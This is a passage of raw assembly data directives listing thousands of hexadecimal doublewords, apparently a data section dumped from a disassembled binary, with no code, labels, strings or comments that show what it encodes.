41E04BD2h, 6C007BF8h, 0A68C08E6h dd 355CFCh, 2B674AC1h, 97E24BCEh, 0A1A97E00h, 0F89A3177h dd 87210FB9h, 4C40DA41h, 142C42E1h, 0F5815401h, 606F29D4h dd 9BE43F0h, 0BB32E5B3h, 28A42580h, 857B3110h, 0F8D60600h dd 8E554F3h, 1D0A7470h, 79DACAE8h, 68840380h, 741A8840h dd 0D8A658h, 0FE43A8CFh, 33E78C4Eh, 9DD0AD0Ah, 0E9C1FCDh dd 1BA02C71h, 0CD30EABCh, 9629011Ch, 644100BEh, 0E33CB05Dh dd 0D6BA0084h, 2A328F8Ch, 57019C23h, 0AB079703h, 0CDDC7188h dd 0F407BA9h, 0DA2FA14Dh, 28215DA0h, 0CAF0A60Fh, 99556B12h dd 22BC000h, 5CE752B1h, 0C7065720h, 8A86832h, 20C55698h dd 0D7C0B9BFh, 3AED8C53h, 76800D9Bh, 3FE34D51h, 1860A4AAh dd 0A3CC6458h, 0C9691EDEh, 6091D8BDh, 58003040h, 19682952h dd 0C745B7h, 237FA10h, 0F3F7A155h, 0FE8E7C00h, 59189F91h dd 786C6F54h, 438D8100h, 16E0E37Ah, 0C83A2AB0h, 21103312h dd 6F42D082h, 1DAD7769h, 0FD59BE8Ch, 2188380h, 0A9C1AF2Fh dd 766C301Ch, 0EEC09137h, 2112DD5h, 8D39557Fh, 8C911B07h dd 4C91854h, 9FD0D1E7h, 533C4h, 0E7577CA1h, 48F2225h, 554AFB0Fh dd 669A813Ch, 709F05A7h, 5D26C1CBh, 0F0F5AE5Eh, 0F074F298h dd 36219360h, 76D255Fh, 9EE6BB0Bh, 384586h, 69C3FF84h dd 0F6052F35h, 0AC106CE3h, 0CC5FB600h, 941167h, 567D14FFh dd 0C827A564h, 46498B03h, 811E2E4Fh, 99F478BFh, 0E6720E51h dd 2860B531h, 42A7853Dh, 707E1B03h, 880A0B50h, 0BC69F5h dd 305EA617h, 7D8D6E75h, 5AFFA21Fh, 966D9FC0h, 0C938A3h dd 3FF7C7C3h, 7B7E1767h, 3E019E98h, 0D5E2EC5Eh, 8CDCB808h dd 0D9FC00C6h, 0A4C2FFB6h, 2F024438h, 4042FEC4h, 5BB960F1h dd 0A7EB03B8h, 75EAAE7Ch, 0EF856100h, 2561BCCEh, 36410748h dd 0D643B47Ch, 54FC49C6h, 6A22EF00h, 0F8A18F0Ah, 249E0321h dd 20FB3AF1h, 0B87FA2A0h, 4D602D7Eh, 0C501B3FEh, 0C03B7733h dd 1C89A228h, 963CCCE3h, 0E0BE8B84h, 31145CA9h, 0D44A2120h dd 0C50375B5h, 93C4DB1Fh, 0F4A11C70h, 0C7807B8Eh, 0DCD34B28h dd 0A600A218h dd 0DB1CEACh, 1FD7E8FAh, 169E93FBh, 81C01D21h, 0E21B192Eh dd 0E0D0BEC2h, 0E6D9D5C8h, 0C9410070h, 1F8C5598h, 531C4873h dd 0F340BDC3h, 0B2E09B13h, 65834CB1h, 0B5D24400h, 0AD1F16D1h dd 70D3AB01h, 9252D8E1h, 44BA007Fh, 0C1A86618h, 114C300h dd 0A2FC557Ch, 97F90739h, 0E0630FA3h, 46C3043Ah, 80963E14h dd 0A81C32E5h, 0C1F460A2h, 78A786Dh, 2874B3F7h, 94C0CE19h dd 5E6EF14Ah, 0CA3B3Ah, 965D527Ah, 5B1E23h, 0A1E01F06h dd 77A2293Ch, 47F29103h, 0C88AF79Fh, 305E444Fh, 0DF089A42h dd 8C0641F0h, 5DC5D274h, 0E2BC3010h, 3620669Ch, 573C6000h dd 0D117144h, 0CD7E78h, 8FF99440h, 6EF0FE5Bh, 0D091CB00h dd 5511BF2Dh, 97410E78h, 0A5804E6Fh, 0C7EDEF5Ah, 4A980900h dd 903E3C20h, 31BC0910h, 2D007836h, 4E2CA4E3h, 50E2A230h dd 0F2751044h, 0FFAD01C0h, 4218790Ah, 3EEDF0D7h, 0EFA62600h dd 7AA7B124h, 0F3C924B2h, 4B930C85h, 28008D94h, 0CB57C71Ch dd 286B044Ch, 0B88DEE3h, 0E7237A2Ah, 868C3660h, 0A2303Eh dd 6CF3934Ah, 1B2CA3E5h, 88FDE373h, 8C24D5B0h, 3B9D8200h dd 0B45D5E46h, 0F41302A2h, 3C2DAB6Dh, 51E38460h, 0A4CA16C3h dd 0CFEEF962h, 35F4DDD5h, 38C007Ah, 11ED27F2h, 0CC000B2Fh dd 2AE716EBh, 0D82824h, 7664858Dh, 0D11C6E78h, 10FDBA03h dd 0D8C9A8F1h, 3AD55DD3h, 3F8EA941h, 80A0E715h, 0D2305204h dd 0AD0D2400h, 85C42D10h, 74F000CDh, 2C46982Ah, 0CDFFC04Ch dd 335080BFh, 0CC54BBD1h, 95CD0CE0h, 7919C1C4h, 908C500Bh dd 8076093Bh, 56E68922h, 39E800A4h, 16252AACh, 0D73402Dh dd 33FAC500h, 6EAFD7CBh, 737FA67h, 89A60C18h, 0D5A81374h dd 809F24D1h, 90FD8C11h, 0EA153558h, 971F0053h, 1370F4AAh dd 0BC77E02Bh, 23F9681Fh, 5515FF00h, 0B733B4h, 7FDD7B69h dd 566E38EFh, 8EA0E474h, 4C18825Ah, 0F948E703h, 0F1C83B04h dd 0FF45E981h, 0F0482265h, 53E547Ah, 6F178089h, 55EB92BBh dd 13681FD7h, 5DA51EF2h, 527C00C5h, 0EF53E627h, 0D77B6172h dd 3F1603Ah, 22102192h, 0BF9FA191h, 0FE66D4h, 6E24E102h dd 0B6E8FBA6h, 5D09D81Dh, 0E0EE0B8Fh, 7215D3A5h, 92F8B7h dd 883C763Bh, 0F891EF62h, 18A5F230h, 3F7EAEE1h, 47007842h dd 3B87E0F6h, 7B01E264h, 0C3AB5426h, 9080D921h, 49E06DFCh dd 0B905DF86h, 4864FF28h, 0DD102C6Fh, 67C1F4C5h, 0F988D8C1h dd 3A018ED0h, 0DA6DD3D6h, 17B01880h, 6B74F41Bh, 0F9208D62h dd 0D8F685CFh, 41AC4080h, 0CDFE0CDBh, 8318DA89h, 0E66E3100h dd 0F5ED6526h, 0F9F0A0FCh, 9CDF007Ch, 7E1DA9CBh, 1AE416D3h dd 0EB29130Fh, 0E70E0E34h, 6D0B654h, 7283B2CCh, 28CD2A8Dh dd 4D774424h, 3504BA00h, 1F248166h, 0C988A8C5h, 0FEE4A8F4h dd 0E9401E86h, 7F6F4025h, 4AD02D6Ch, 73975000h, 46012014h dd 0F0F2501Fh, 0B14B00BDh, 19F4C5DFh, 1131EF13h, 0A3174864h dd 3DE4F980h, 0D1FDF24Fh, 3D6B5E3Ch, 0A31B0046h, 77311791h dd 3BCC0008h, 0B94FA943h, 38C08A8Eh, 0C364D6C1h, 0AF4D3F70h dd 72D99A81h, 20241702h, 76000B60h, 0BADB1D46h, 1D2C2EB7h dd 0C19942D1h, 0D64C222h, 9B86F0ECh, 0DF799A1Ch, 0C05C6CCAh dd 4009216h, 2BAE0A1Dh, 0E2BD001Ah, 0F08C86ECh, 0B00993Dh dd 2494A977h, 0F0327AEh, 0C9C8ADE1h, 0A107A00h, 51E3840Dh dd 0F6076E98h, 11C5ECA0h, 0C160315Ch, 3A4E8911h, 7FCF0944h dd 4420E142h, 0A5AD3730h, 0EE988300h, 0F2E4FFE8h, 0E5E700DFh dd 9C81F1BFh, 64F2D98Fh, 7D455Ch, 1246D518h, 2B2ED7Eh dd 0BC76578Ah, 0BE805CF2h, 8E1365DEh, 6D4E7507h, 564087F8h dd 0C74069h, 38FBE673h, 0F04C098Ah, 0DFCDCC1Fh, 5D0A9301h dd 68877429h, 0F30B8A02h, 0BD883109h, 0A700F3E6h, 0A5918C2Ah dd 383660h, 6EFB6264h, 7AB58B0Ch, 7B264Ch, 0A0DA8FC5h dd 0C0E791B8h, 0EDB4D970h, 9A0114E4h, 1C6A98B5h, 0F1C4AA76h dd 85F52695h, 0ED0700FBh, 0EFC6DB79h, 5338E963h, 0CF16C0DFh dd 752E003Dh, 6E13FA14h, 29007A8Ch, 0B2957811h, 63E349h dd 4C08E1C6h, 0EE7C93CFh, 0FC583576h, 0F3590069h, 800D1ADCh dd 84030CB4h, 960E143h, 91FE7518h, 504C6FF0h, 0EC6984DAh dd 219800CAh, 8FB7DE0Bh, 0EC00483Eh, 60307E85h, 6E57Fh dd 0C18776D5h, 0E7B3B55Eh, 0AA03A07Bh, 5609FF10h, 0B1081843h dd 579320BFh, 0CD226603h, 0E0258837h, 7BB414FDh, 6EC803E8h dd 7C12E720h, 0D81138C1h, 60018DCAh, 0CC84D3B5h, 0AB206277h dd 0AAC100E6h, 68FEC5ECh, 4001F59Ch, 0B3B1DF80h, 0D8D812D6h dd 0FA620325h, 3E964121h, 9DE001A2h, 650304DAh, 7127F880h dd 7A2106FCh, 681405D3h, 3C3C248h, 0CFB312D4h, 95100021h dd 80F8DA29h, 15192617h, 0A9081958h, 3753180h, 3EF9E2D5h dd 0B668A70Ch, 0D702D2h, 0FBFCF22Fh, 0D6360921h, 143A7770h dd 30AEE813h, 0C9CE4280h, 4239EF80h, 21773010h, 0EDA2554h dd 52DD859Ch, 8679FCACh, 11ECA974h, 13FD4715h, 0E0B5AC2Ch dd 2A6D021Ah, 0FB055ABFh, 6C0D8C80h, 0CD00A9CFh, 8CE165DAh dd 0C07729h, 9B5C5FF2h, 0CC335D6Fh, 56FA5300h, 3B818320h dd 0C4631E4Dh, 122485B1h, 0A500FB18h, 582CD3EDh, 71963844h dd 68306F00h, 32971B05h, 1EE84B00h, 7D1DAA34h, 9DD5079Ch dd 30F574E2h, 0E55378C5h, 803BC203h, 0FFF1901Ch, 7F57CF10h dd 35960003h, 8AA97625h, 14009ECEh, 8C22EACh, 0BB726h dd 0F3F5679Ch, 6BC9367Ch, 0DA144100h, 604DFCCEh, 79BF483h dd 0DD7A388h, 0D28A6C13h, 5014177Dh, 0AFE35Ch, 1A9C7EAFh dd 75B661A2h, 320100DBh, 8DE648Eh, 4A0E466Fh, 636B3BADh dd 0D0348C63h, 9F2EB1h, 511D69A5h, 0EAD5B383h, 6D5B9D00h dd 931E53B9h, 60DA0185h, 0A7022FBDh, 0D6F6D473h, 1809BC00h dd 0A837279Bh, 0E86F231h, 0E772E6DCh, 97B971E0h, 0AF7D0957h dd 966BDB00h, 83DD7562h, 0BE6A00B4h, 0E4F9B573h, 0C100C9D0h dd 0B6F78034h, 7CA411Dh, 0E06848C2h, 0D7B71067h, 6B070737h dd 62FA5FA6h, 5A80C2C7h, 1D01EA55h, 80948EAEh, 9BF8E379h dd 3809DF9Fh, 80150510h, 0AC2F4AD1h, 727E0054h, 5F6C5BC5h dd 0FE02351Dh, 0CF3CC45Dh, 995AC0CAh, 18CB00D9h, 2A38738h dd 0EA036FA6h, 3A3F6DB8h, 0EF580091h, 1E2FAE5Eh, 94181332h dd 6480023Dh, 66B0096h, 0E3E6348Fh, 2702C015h, 8611913Eh dd 0D7A880F2h, 2FD1AFh, 9289C984h, 77E9CDD9h, 0B4A9F600h dd 0C35AF8A6h, 19420087h, 0D62353AFh, 0B1037F6Bh, 8E1511A7h dd 4166C8E9h, 4E070065h, 0E6FD9208h, 78017FBFh, 0AC8F0DEBh dd 5FECAF1Ah, 88043ED0h, 4DB29E80h, 2CFBE018h, 0E5008071h dd 197DA378h, 0D124D7h, 218B0AC6h, 0B0F2D33Eh, 0D67EB117h dd 6EF514h, 59357AC7h, 67A5B7h, 3B64414Eh, 372C1549h, 634618C0h dd 3C602BCh, 4F7650D8h, 0A0E36B3Ah, 10ED8380h, 2529F500h dd 366687BEh, 34170377h, 0D381E650h, 0B2E0EFF3h, 2C01AB78h dd 9BFE7C45h, 320BAB1h, 0FBF748E0h, 5E6A1B03h, 60BBCC96h dd 24F064A3h, 0C8003AB0h, 9A3E77F8h, 0EE1848h, 0E6367ACh dd 0D3DBC1B1h, 0BB4C3801h, 0BEAD866Bh, 0AB75E0CEh, 0FE2D38F8h dd 9760B480h, 38B806EEh, 1A282106h, 0B011E251h, 666700A0h dd 354D1187h, 0EC04E196h, 0B97E8DB3h, 81536780h, 0CE1E0E89h dd 79C018F5h dd 3C746D7Ah, 0BF269800h, 0E3FB9B7Eh, 3EE83F51h, 0D0EB0900h dd 26B7588Bh, 3200B67Fh, 0B86E345Dh, 0B395D1h, 7AA47045h dd 0E0CDF13Ah, 68398D00h, 554D60BEh, 0C9211FF3h, 0BFF7C00Bh dd 0F936B70Dh, 0BB916113h, 77599D07h, 0B99CBC31h, 0F7E80CD9h dd 3698FAh, 24BE47CFh, 0D6621FB7h, 0C3D7A200h, 0D954C7Bh dd 14C601D4h, 0EDE98A97h, 2BF2D007h, 0E4240F00h, 0EE89197Ch dd 426007DFh, 63710DCCh, 50AB9B36h, 5294D818h, 72C00190h dd 5E6F0963h, 74003178h, 0D5977750h, 0ED033378h, 0D2907CC1h dd 0CDE6C825h, 4C1200BAh, 0E0661636h, 1D00157Ah, 6F3CA5ABh dd 0D143F0h, 0F7BFDABEh, 7F96B95h, 62C7341Fh, 0CC893800h dd 7179DE3h, 0E9DE0EC8h, 11E2A66Fh, 0A5602109h, 0DD28005Fh dd 189E7D79h, 9875EEDAh, 6100112Eh, 22D446C5h, 0FD8B073h dd 7EEFCEE9h, 1A97C03Eh, 0F44E91FDh, 13E27100h, 11E6E882h dd 1BFE09D9h, 28208EB8h, 5A3CA769h, 9F79E200h, 594CFA0Dh dd 0E01980DCh, 0B94B400h, 68362CB7h, 0E47F0029h, 0F4D48BE6h dd 4A128010h, 6440BE26h, 3D9D11D6h, 2C0F0018h, 0E8D891CAh dd 4E005FEBh, 4345E34Ch, 91965041h, 40768010h, 27CBEEEAh dd 0E5936626h, 37AFE600h, 0C0952Eh, 2ACDB660h, 0D753A103h dd 4C62B530h, 6C3EC7h, 66C176BEh, 0F88715DDh, 0DA005492h dd 17684B10h, 90C4B370h, 0A7F20AC4h, 80ECF454h, 9D63A13Eh dd 3D24230Bh, 100E68B1h, 80AA6FAEh, 3F0FDC34h, 62050059h dd 0A03A1D0Ah, 0BB183788h, 0D9B8F5B2h, 0AF3600B8h, 252F47F1h dd 0A70005E2h, 0B64014D8h, 0F754C89h, 92DBC88Ch, 0F0386A67h dd 2F2CF955h, 40070F00h, 0A4904CF0h, 0FDAD1DF3h, 17B4C3BCh dd 27C849DDh, 4500239Fh, 3204F19Bh, 7625DBB2h, 129C0944h dd 18A031F0h, 0A09F45A8h, 6C56F200h, 32C1D8F8h, 9AAC0724h dd 52253021h, 868F49Ch, 1F1398EDh, 88F8D4C5h, 88E64115h dd 370ECF00h, 0C5632686h, 3A7408E6h, 527A9CA0h, 51A7BB03h dd 899288D9h, 802097E8h, 7DD800EDh, 0ECEBE84h, 6400385Eh dd 0A172B5F5h, 0C20CB9h, 0BE92AF2Eh, 9D6C55FCh, 8024B33Ch dd 0C0606898h, 9A3950FDh, 538E0004h, 0A2CC1B67h, 0FE008375h dd 64494FE5h, 0E7E4B3h, 0DD50D55Ch, 0B8482673h, 0B29F6B00h dd 0DB448279h, 54E60415h, 0C1BA4243h, 8737A7C8h, 80C12D58h dd 8EDD0132h, 0C007F280h, 4F2096D0h, 5C73C4CCh, 0D300543Eh dd 0F6EC083h, 3400E8BFh, 0E20A270Eh, 3D6DE368h, 0D8935210h dd 0A8702C90h, 828E1E02h, 0E0C932EDh, 1633CF63h, 0D28366h dd 99A30F7Bh, 6001F55h, 9D6E53C5h, 0D7C0B7h, 8A4F618Ch dd 0CD5F4D4Ah, 406F93Ch, 38339ED0h, 6C41CCC9h, 0E30C500Fh dd 0D9E5200h, 0D66C911Fh, 0B76D00C0h, 0E16E38B6h, 5A00B4F3h dd 78729426h, 2C7DA2h, 88A18418h, 0F1BFB1D0h, 88072928h dd 794EA39h, 0B912E2D8h, 56C00AC5h, 0EE8FA91h, 0F65B8ED3h dd 7A645460h, 630045A1h, 366B1EE6h, 338B9D7h, 0C19FC68h dd 0E4E0F12Bh, 9005B6Dh, 0BEEB458h, 0AB7404h, 750F1657h dd 1B4238BBh, 3FA78E03h, 0C06FA2AEh, 2E617Eh, 75F0D3B1h dd 8B926AB8h, 886EB000h, 5D30CE26h, 38E70033h, 1C659A0Eh dd 23AC0F2h, 0D73F0037h, 0CA05A8BCh, 0C3CD50DAh, 89DC002Eh dd 2A4B115Eh, 427F1B0Dh, 75E33100h, 0A3645341h, 83F7245Bh dd 39784810h, 0D68005BBh, 0C1B61E2h, 8970D28Bh, 20C04D6Ah dd 5A422506h, 3A26244Ah, 0A1B48BC0h, 0C418CC12h, 0B00DDD5h dd 920CB275h, 72E6B06Ah, 7C100197h, 2028D263h, 0CB5A60DFh dd 70E4BC00h, 0FAB50190h, 0FCAB83h, 59CFEA98h, 70FD43ECh dd 29BED600h, 767CA75h, 2523005Fh, 4D41F364h, 9860C5D0h dd 0E3E43190h, 0BD60038h, 5C29972Eh, 270C8859h, 5964FCD2h dd 9A1112A5h, 601EF6h, 226F6DD3h, 0FA1C6C1Fh, 1A829D2Ch dd 4017F82Eh, 32FA0A0h, 0FBEB16B4h, 3904F6F4h, 715BA6B5h dd 0A1BB20D1h, 944583EDh, 0CD67C90h, 620B2CD2h, 0BD2B61FCh dd 0A871308Ch, 4884F62Eh, 8A71DA04h, 0B02FC0C0h, 0F48539C7h dd 0FAF2010Bh, 9080EC8Fh, 7697B5A8h, 86E8C400h, 150C2C6Ch dd 845A009Bh, 0E1DB5F8Bh, 6F000FD3h, 8609CD5Bh, 1D53F5D2h dd 0F00B1F59h, 1594CCB0h, 4D034EF8h, 34F11BFFh, 4A7800AFh dd 0C8435EFAh, 0C99DAA8h, 27752109h, 0B3809BFCh, 503B6FE3h dd 0CF1F0B9h, 0BDCE0B43h, 95059240h, 94C26399h, 0D2B5B0C0h dd 0E0760150h, 0C7CEB408h, 4A3981A2h, 0B168D435h, 63D1FB00h dd 6DC8700Bh, 690B8C1h, 183E0AE6h, 8A68C652h, 82B8761Ah dd 0E017AEF8h, 0A365EC68h, 975EEB00h, 1DF2C5Dh, 0E9280111h dd 0C9D4BD93h, 4BA8E7A0h, 7661FFCDh, 0D7FA3F40h, 0BD93530h dd 7E89DB8Dh, 0D44D34A1h, 66CAE81Eh, 0F48E4Ch, 0C4EAE931h dd 7272D260h, 0AD942FD3h, 7800EA5Eh, 0F87D6B4Dh, 2B3100E3h dd 2784EE36h, 0F00A425h, 0BEED3B68h, 5A5C8Eh, 0C132B2B7h dd 0DC44FFCh, 5342B000h, 915054CFh, 0D0B8021Eh, 77F9EE76h dd 0DA013740h, 0DFA3A106h, 0B4FEADh, 0DCB16F8Eh, 902EC04h dd 9877E600h, 64E2BA0Ch, 27E5E9B6h, 5052828Eh, 55DA7640h dd 3739E085h, 9DB888h, 6B2B5821h, 0FABC5F2Dh, 0FD72007Dh dd 0AAAC050Fh, 51003B26h, 65D9697h, 3AC5099Bh, 0C0CCCAABh dd 0FAB81800h, 7A35552h, 0B699702Eh, 83C4D07h, 295A478Fh dd 573B0990h, 0C6AB054Fh, 8033514Eh, 3E7C6909h, 2273D500h dd 0E3AA39Fh, 60DA6029h, 78C93B1Fh, 0BB05A5FAh, 9E55D3BDh dd 0D98FA4C0h, 58D00BEh, 0F6146DB4h, 0ED7EC26Eh, 0B15C7277h dd 75B51F78h, 70C06807h, 4A735872h, 0CCFE055Ch, 2DB3C8D0h dd 0A52B0095h, 14229ED9h, 6805ED67h, 4A0488Dh, 10C26D80h dd 0EC4500FFh, 0E45CE6A8h, 4801BB28h, 0B9CC4903h, 4C5085BDh dd 0B4A39CFh, 0CAF4B43Ch, 0A40FBCA0h, 5700724Ch, 849ED81Ch dd 30BDE00Ah, 4D395680h, 80FFBE76h, 0F5BC87A0h, 0E98AB6FDh dd 0A15E604Ah, 56008F7h, 7BE18000h, 0A60BE45Eh, 4C2A011Bh dd 0E4445A3h, 0DF356011h, 0CC907C02h, 43492C97h, 1A38A06Ah dd 0C21D3AD1h, 0ACE4E583h, 3C90A1D5h, 1500440Fh, 0D2CD7B33h dd 1C57C616h, 5E7DB186h, 4DBEC0E4h, 312C215Ch, 37D8EB00h dd 9A239E0Ch, 1F8F00C7h, 0A4CE29F8h, 1E000738h, 0C2D4E833h dd 0DEBBF250h, 1E27D7E9h, 0F625C066h, 705BDD5h, 1967DCB0h dd 44F57920h, 0F68B9400h, 15097Ah, 0EF0A3DC5h, 0B7D5E832h dd 9B33B0A8h, 5F1DCF01h, 0B6724083h, 2D96208Bh, 0E9C50A0h dd 74381165h, 1CC60A61h, 5283A068h, 0F3580h, 0B3839728h dd 393CAD9Fh, 0CC15D630h, 7E110A0Dh, 43690630h, 583A9B04h dd 0C9DF4730h, 0C8B83Eh, 8577DE5Dh, 8C8F7117h, 6072B43Bh dd 5F86F321h, 783F00EEh, 9780391Bh, 3D004167h, 7309E21Fh dd 7379F68h, 30AFAB4Ah, 9B95801Bh, 9C605699h, 1309C571h dd 37F0F4h, 0AED92974h, 0D7630E9Bh, 0BFACC000h, 41A86C01h dd 241300D4h, 0D21D33B2h, 5400DEF1h, 0E299A9A1h, 391C7D30h dd 628080E3h, 19CD7E52h, 441E723Bh, 0D580B3AEh, 951104ADh dd 81BC1EE2h, 0D74CC731h, 989EA038h, 591FCA4Dh, 1D402A9Dh dd 8D4833FDh, 0E0E40279h, 2B7D24BCh, 718397E0h, 67A04E00h dd 1B9145DCh, 0F67A1FECh, 50660688h, 0C100188Dh, 0E5A2C416h dd 42EAD40Fh, 6D611F4Ah dd 0DF233D00h, 358BA2Eh, 2D7EB86h, 0EA0E80Fh, 0EA008C98h dd 1CF146D2h, 65C7BA9h, 0AF486323h, 1B72FE62h, 5F4418C0h dd 0E8D9CD08h, 0EDB90069h, 1C3B33FCh, 1DE8344Eh, 61012200h dd 47F3DC84h, 821A1C9Ah, 9960808Dh, 0A3D4553Ah, 0FD86FF1Fh dd 81B035C1h, 0E0DC73A9h, 0FBDA00C1h, 59367C3h, 0B6010196h dd 5A3FB191h, 8CFCB247h, 0D06203DEh, 0D1531059h, 87B009A1h dd 0D7895120h, 0D38B28E0h, 5900015h, 39C73E7h, 10775853h dd 0AE808C00h, 6883EEC1h, 5527CF6h, 663DAF59h, 36340790h dd 8FF779DBh, 10341460h, 0FD00866Bh, 408DFD7h, 0CCEB059Eh dd 0BC002193h, 5CEFB594h, 7BCB0C56h, 0B7B11839h, 788739D5h dd 0E4345A00h, 56108498h, 63741D9Fh, 0F581409Dh, 0A0CFDF52h dd 4439DD00h, 0AF50DE77h, 67583036h, 0B4A65D79h, 27148403h dd 80399240h, 0D9E535h, 675A3DC0h, 85766166h, 65B742Ch dd 32AFFF07h, 0AD7043h, 76480120h, 0D587F4Bh, 0C3CD6406h dd 615662h, 0BDAEF612h, 5EF7E9AFh, 0E4956400h, 71399FD5h dd 933F00B2h, 433484C2h, 0CFF6E899h, 556386EEh, 0E7B54A41h dd 620C6AA0h, 5D6B03E1h, 1F44AAFBh, 93D750E7h, 3E1DD3E9h dd 7809276h, 0CBB05BB9h, 61A70934h, 0F77847h, 53E39494h dd 3ECFAB1h, 1C97FE30h, 41E33B2Ah, 2EA1359Bh, 8220804Dh dd 0CADE0C87h, 58D8007Ah, 8095EDE1h, 7201771Eh, 1FF4DA13h dd 8FF9F635h, 80226191h, 696CFE31h, 103C43D2h, 190056CDh dd 5F3A0C84h, 230070DFh, 81691BEFh, 0FE157854h, 92F31E9Bh dd 0DFDDF1h, 84B64131h, 7D06CD81h, 0F82C3DBAh, 0BD130C21h dd 0CC59415Eh, 0CABFD803h, 0B2D574h, 6305F610h, 0F558AE6Ah dd 5B2AB618h, 0CF39FD08h, 40001520h, 6554A10Bh, 0DCA72400h dd 7991438Fh, 8EC2002Ah, 6A996131h, 0D602E269h, 92600CF4h dd 0D7B685C7h, 0CE3D8400h, 0C7891EFh, 8248215Fh, 4D304AE8h dd 9FBB9940h, 0D9110024h, 91CC16F4h, 6D60B2C7h, 7A8BB540h dd 631C00AAh, 34436BF2h, 8000546Ch, 0BEF72594h, 18E346F1h dd 0B69E7A90h, 5C07F451h, 62C1799Ah, 9F6D27B0h, 7C250089h dd 45B9018Ch, 34034BE3h, 83BF8F04h, 3400048h, 0F1E5ECDAh dd 28005024h, 0CFFFD997h, 5157F8h, 0FB63A46h, 0A67F7C6Dh dd 0D1B5E126h, 0C7421D00h, 66327Bh, 9893A791h, 25EB194Bh dd 3C448B01h, 0D813A9F0h, 18E236E0h, 704ACB1Bh, 82005CB8h dd 8B56420Fh, 3CAC211h, 707E55CEh, 480094F7h, 4FA248E3h dd 13A1F6Fh, 9372079Dh, 0ECF67681h, 4CFA65B9h, 2E455F00h dd 366235FFh, 20051C09h, 23A70B91h, 0C0553E86h, 2DFE2400h dd 500EBBF6h, 0BE4B0077h, 0C6296CE1h, 7019F6Fh, 939C2839h dd 6EE5F9E8h, 0C78F2BF0h, 0A3A08688h, 990096A9h, 48B70DC5h dd 0D98CACh, 107FE1E4h, 0C1855969h, 6F13A701h, 8B0D653Eh dd 883DFCh, 0AFBE221Fh, 21D5A4F2h, 0F92C8700h, 0EEDFBA6Ah dd 0B735394Dh, 0DBB2EB80h, 0C20F4E78h, 9051DD00h, 30F28485h dd 608A7472h, 0BA2421C4h, 90049DDh, 351887E3h, 2D75B90h dd 0C4B82B84h, 0E9607C7Bh, 0D0310216h, 0A61B6058h, 0D208500Ch dd 0C294A9D3h, 1600DC07h, 0F026DFA8h, 594A1EE1h, 70F58006h dd 0CA7B42BFh, 1214BE06h, 0EE50AF58h, 73BD98EDh, 29BC0699h dd 7801B286h, 7997CB02h, 1A48E4Eh, 0EC126EAFh, 84008CD6h dd 0C90FCEFDh, 18FD533h, 3F32993Dh, 83B8FEEFh, 160EAFA9h dd 96AE8056h, 0E7C20040h, 4B732D0h, 0DF305BBEh, 9C6218ADh dd 0B8FD0F78h, 8180ECF5h, 0AF4BED0Ah, 128EBB03h, 0C0A9B646h dd 743874B5h, 977E004Ch, 0DF9BAF4Dh, 0E700E8D4h, 7699E15Eh dd 2AEA72Ah, 7D49F6A3h, 2D4078CCh, 0EF48887Ch, 0E02D1D1Fh dd 0F905FD40h, 705026h, 95C81C01h, 0B4DFE4A2h, 0FE86D300h dd 0C6786F8Ah, 2780002Ch, 0B053F657h, 0B800E59Ch, 6FA62BC1h dd 1FF03165h, 40B7DA77h, 5C765E29h, 4F7AD81Ah, 7AF9AB58h dd 2405F300h, 0AEDED030h, 1E1BF4B6h, 40867CADh, 1C6C684Bh dd 5500EAD5h, 2718EEA6h, 5410C1h, 76E01D79h, 5F401CB7h dd 3C937000h, 47E6B437h, 2C7F0CEh, 67FB942Ch, 5EC0F275h dd 0D803EAC9h, 9A4D39FCh, 62ED83Eh, 336F00E5h, 0B5058C64h dd 73071BB0h, 494A1F94h, 97D726A0h, 4DFD0028h, 0CE799330h dd 2A07E457h, 624FE6B6h, 7D701B07h, 395327CAh, 0A880A08Eh dd 9F40DF1Ch, 1400CBCFh, 0C497633Fh, 2C1DACh, 0B88D9172h dd 239B9A44h, 8096F03Fh, 0BBA2A8Eh, 0D9D1CDh, 435A1775h dd 2E87BF15h, 6409EB00h, 0F129E09Bh, 0DA480C78h, 0C628D6A4h dd 10146720h, 3C08450Fh, 0F0208Ch, 76F2D5E8h, 198FD217h dd 0C48C4480h, 42155851h, 3D8DE4Eh, 791C3ABEh, 33202812h dd 0DF51EE84h, 2811D5D3h, 6E18422Ah, 0E15051C0h, 6B6D29C2h dd 21605D4h, 0F991E64h, 8EDFC03h, 0CD7E8A29h, 843D6208h dd 0A0E1012h, 9F043C88h, 501FD218h, 83B3003Ch, 0A29A500Bh dd 9CB20076h, 85D51F2Fh, 0C9389E88h, 585D001Ah, 896A3428h dd 0C0D7E326h, 67E60Ah, 53AACAD5h, 4968C343h, 3814C000h dd 0F62AB76Ah, 32EB0042h, 25E44E80h, 4400DC5Ch, 88C438C5h dd 270D672h, 0DACCF1ACh, 0A241750Ah, 3FBB40D8h, 7B0709ADh dd 1BDC8A0Bh, 0A6E303F0h, 0C490A3h, 6606649Bh, 2698CB34h dd 0DFFDCF00h, 6C7E5E5Fh, 3AC800F5h, 34C143AFh, 6500BA28h dd 35E961B6h, 16FCDEh, 0D4580806h, 0AD4BEC23h, 8F6EA73Eh dd 8101D5C9h, 5EE835F8h, 5575C0h, 0C29C6F53h, 0B3CF1B10h dd 0DCD43Ch, 0E0B43007h, 1DC5D18Bh, 80404BBFh, 104ABED7h dd 0C93DF27Eh, 9F82805Bh, 0FE03BA2Dh, 60FB008Fh, 80AB9D9Ch dd 329090E8h, 0CA6B6600h, 5331027Ch, 13039FAh, 0F8918C03h dd 48FE474Fh, 79AE1800h, 0E955928h, 0BB033FDFh, 0C8620980h dd 0C53EAAE8h, 0B8165C00h, 1EDDF3D9h, 24223F34h, 0DCF86180h dd 0D5DA354Ah, 912A7000h, 9949FA80h, 73DD3923h, 3ED43800h dd 5FEABAB9h, 9D76D773h, 0CAB39600h, 69D091D9h, 48B40360h dd 0BC56E04Dh, 6C1AB9B0h, 7E645000h, 12D5A26Eh, 8E7400F7h dd 8709343Eh, 51EAE604h, 9D837600h, 7872A928h, 0AAC8008Dh dd 0A412A3D6h, 1800141Ah, 9E2629FCh, 1E2D9276h, 8FDBEBDEh dd 0A5004805h, 42C5BDEFh, 772A5400h, 0FB22BEBCh, 683807B3h dd 3081799Dh, 507FDBDCh, 0BBE28B07h, 648CBF69h, 63840029h dd 65FB4C20h, 0B7014911h, 92DAA86Bh, 94ECC79Fh, 55610066h dd 7CE45AE6h, 0C57B9A63h, 0AF6B8300h, 2E5421B9h, 7DEA0053h dd 0A9841672h, 5E03F085h, 0F497502h, 0BAFCB09Dh, 2F1E002Ah dd 0C0215D24h, 0E500C31Bh, 0C28FB72Eh, 656A11h, 229E70D7h dd 5672AEB8h, 